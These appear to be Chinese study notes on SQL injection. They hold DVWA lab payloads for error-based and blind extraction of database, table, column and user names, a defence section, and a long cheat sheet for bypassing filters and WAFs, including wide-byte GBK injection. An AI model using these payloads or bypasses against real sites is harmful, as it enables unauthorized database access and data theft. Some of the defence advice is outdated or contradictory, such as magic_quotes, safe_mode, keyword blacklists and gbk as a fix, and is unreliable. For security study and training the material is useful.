SQL注入原理
SQL注入是指Web应用程序对用户输入的数据没有进行合法性校验或者过滤不严谨攻击者可以在Web应用程序中事先定义好的语句中添加额外的语句,在管理员不知情的情况下实现非法操作,以此来实现非授权的任意查询,进一步获取数据库信息。
简述:对用户提交的数据没有任何过滤和校验,提交到数据库进行解析并执行。
SQL注入方式
1.字符型注入
2.数字型注入
1.sql注入--报错注入
爆数据库名
1' and extractvalue(1,concat(0x7e,database()));#
爆表数量
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))#
爆表名
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1)))#
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)))#
爆列数
1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))#
爆列名
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1)))#
(limit 0,1)前一个数值选择0-8
爆列里信息
1' and extractvalue(1,concat(0x7e,(select user from users limit 0,1)));#
(limit 0,1)前一个数值选择0-4
(select user from users limit 0,1) user是列名可更改 users表名
2.sql注入--盲注
Ascill表对应的值,键盘上的字母字符对应Ascill33-126位
常用的判断符号
1
'
1 and 1=1 #
1 and 1=2 #
1' and '1'='1' #
1' and '1'='2' #
1' or '1' = '1 #
1' or '1' = '2 #
1’ order by 1 -- - 判断列数
1’ unino select 1,2 -- - 判断显位
判断数据库长度
1' and length(database())>10 # //missing
1' and length(database())>5 # //missing
1' and length(database())>3 # //exists
1' and length(database())=4 # //exists
burp跑出库名长度为4
1' and ascii(substr(database(),1,1))=50 #
$50$为33-126 第一个数值1为 0-4
跑出库名是 dvwa
猜表的数量
1' and (select count(table_name) from information_schema.tables where table_schema=database()) >10#
1' and (select count(table_name) from information_schema.tables where table_schema=database()) =2#
表的数量为2
猜每个表的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=10 #
limit 0,1),1)=10 //已知表数为2 $0$数值为0-2 $10$数值为1-10
第一个表的长度是9
第二个表的长度是5
猜第一个表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=88 #
第二个1加$ 88加$ 得出grouest
猜第二个表名
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=88 #
第三个1加$ 88加$ 得出users
爆破users 表中的字段数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
$8$狙击手爆破
可以看到users表中共有8列数据
爆users表的字段长度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 #
$7$ 狙击手 跑出字段长度为7
爆users表中第一个列名称
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),1,1))=88 #
第二个1加$ 88加$ 得出user_id
爆users表中第二个列名称
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),1,1))=88 #
第三个1加$ 88加$ 得出first_name
通过修改以上参数可以修改查询的字段,重复上述操作可以得到其余七个字段名
爆users表中user列的行数
1' and length(substr((select user from users limit 0,1),1))=5#
得出行数为5
爆users表中user列中每条信息的长度
1' and length(substr((select user from users limit 0,1),1))=1#
第一个数据长度为5
获取users表中user字段的第一个数据名
1' and ascii(substr((select user from users limit 0,1),1,1))=66#
0加$ 66加$ 得出数据为admin
1' and ascii(substr((select user from users limit 1,1),1,1))=66#
得出数据为gordomc
SQL注入攻击方法
1.报错注入
2.盲注
布尔盲注
时间盲注
3.联合查询
SQL注入防御策略
使用预编译语句
绑定变量,攻击者无法改变SQL的结构。不同的编程语言Java、Php有不同的语法,就不做展示了。在网络安全-php安全知识点中提到了使用pdo来防御。
使用存储过程
使用安全的存储过程对抗SQL注入,由于存储过程中也可能存在SQL注入问题,应尽量避免使用动态SQL语句。
检查数据类型
例如,需要输入的是整型,那么,可以判断用户的输入,如果包含非整型,例如,字符串"AND"、“BENCHMARK”等,则不运行sql语句。其他类型,例如,邮箱等可以通过使用正则表达式来进行判断。
使用安全函数
各个厂商都有一些安全函数,例如,微软SQL安全函数
如何防御
1、过滤掉一些常见的数据库操作关键字:select,insert,update,delete,and,*等
或者通过系统函数:addslashes(需要被过滤的内容)来进行过滤
2、在PHP配置文件中Register_globals=off;设置为关闭状态 //作用将注册全局变量关闭。
比如:接收POST表单的值使用$_POST['user'],如果将register_globals=on;直接使用$user可以接收表单的值。
3、SQL语句书写的时候尽量不要省略小引号(tab键上面那个)和单引号
4、提高数据库命名技巧,对于一些重要的字段根据程序的特点命名,取不易被猜到的
5、对于常用的方法加以封装,避免直接暴漏SQL语句
6、开启PHP安全模式Safe_mode=on;
7、打开magic_quotes_gpc来防止SQL注入Magic_quotes_gpc=off;默认是关闭的,它打开后将自动把用户提交的sql语句的查询进行转换,把'转为\',这对防止sql注入有重大作用。
因此开启:magic_quotes_gpc=on;
8、控制错误信息
关闭错误提示信息,将错误信息写到系统日志。
9、使用mysqli或pdo预处理。
一句话总结,看程序员把这些改规范的规范掉了,就是见缝插针。
控制错误信息
SQL绕过方式
1.绕过空格(注释符/* */,%a0):
两个空格代替一个空格,用Tab代替空格,%a0=空格:
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
最基本的绕过方法,用注释替换空格:
/* 注释 */
使用浮点数:
select * from users where id=8E0union select 1,2,3
select * from users where id=8.0 select 1,2,3
2.括号绕过空格:
如果空格被过滤,括号没有被过滤,可以用括号绕过。
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
例如:
select(user())from dual where(1=1)and(2=2)
这种过滤方法常常用于time based盲注,例如:
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
(from for属于逗号绕过下面会有)
上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。
3.引号绕过(使用十六进制):
会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:
select column_name from information_schema.tables where table_name="users"
这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:
select column_name from information_schema.tables where table_name=0x7573657273
4.逗号绕过(使用from或者offset):
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
使用join:
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
使用like:
select ascii(mid(user(),1,1))=80 #等价于
select user() like 'r%'
对于limit可以使用offset来绕过:
select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
5.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):
使用greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句:
select * from users where id=1 and ascii(substr(database(),0,1))>64
此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and:
between a and b:
between 1 and 1; 等价于 =1
6.or and xor not绕过:
and=&& or=|| xor=| not=!
7.绕过注释符号(#,--(后面跟一个空格))过滤:
id=1' union select 1,2,3||'1
最后的or '1闭合查询语句的最后的单引号,或者:
id=1' union select 1,2,'3
8.=绕过:
使用like 、rlike 、regexp 或者 使用< 或者 >
9.绕过union,select,where等:
(1)使用注释符绕过:
常用注释符:
//,-- , /**/, #, --+, -- -, ;,%00,--a
用法:
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
(2)使用大小写绕过:
id=-1'UnIoN/**/SeLeCT
(3)内联注释绕过:
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):
id=-1'UNIunionONSeLselectECT1,2,3–-
10.通用绕过(编码):
如URLEncode编码,ASCII,HEX,unicode编码绕过:
or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
11.等价函数绕过:
hex()、bin() ==> ascii()sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
12.宽字节注入:
过滤 ' 的时候往往利用的思路是将 ' 转换为 \' 。
在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:
(1)%df 吃掉 \ 具体的方法是 urlencode('\) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(')符号在外面:
id=-1%df%27union select 1,user(),3--+
(2)将 \' 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。
一般产生宽字节注入的PHP函数:
1.replace():过滤 ' \ ,将 ' 转化为 \' ,将 \ 转为 \\,将 " 转为 \" 。用思路一。
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:' , " , \ 。用思路一
(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string():转义下列字符:
\x00 \n \r \ ' " \x1a
(防御,将mysql设置为gbk即可)
PCRE绕过:
union/*'+'a'*1000001+'*/select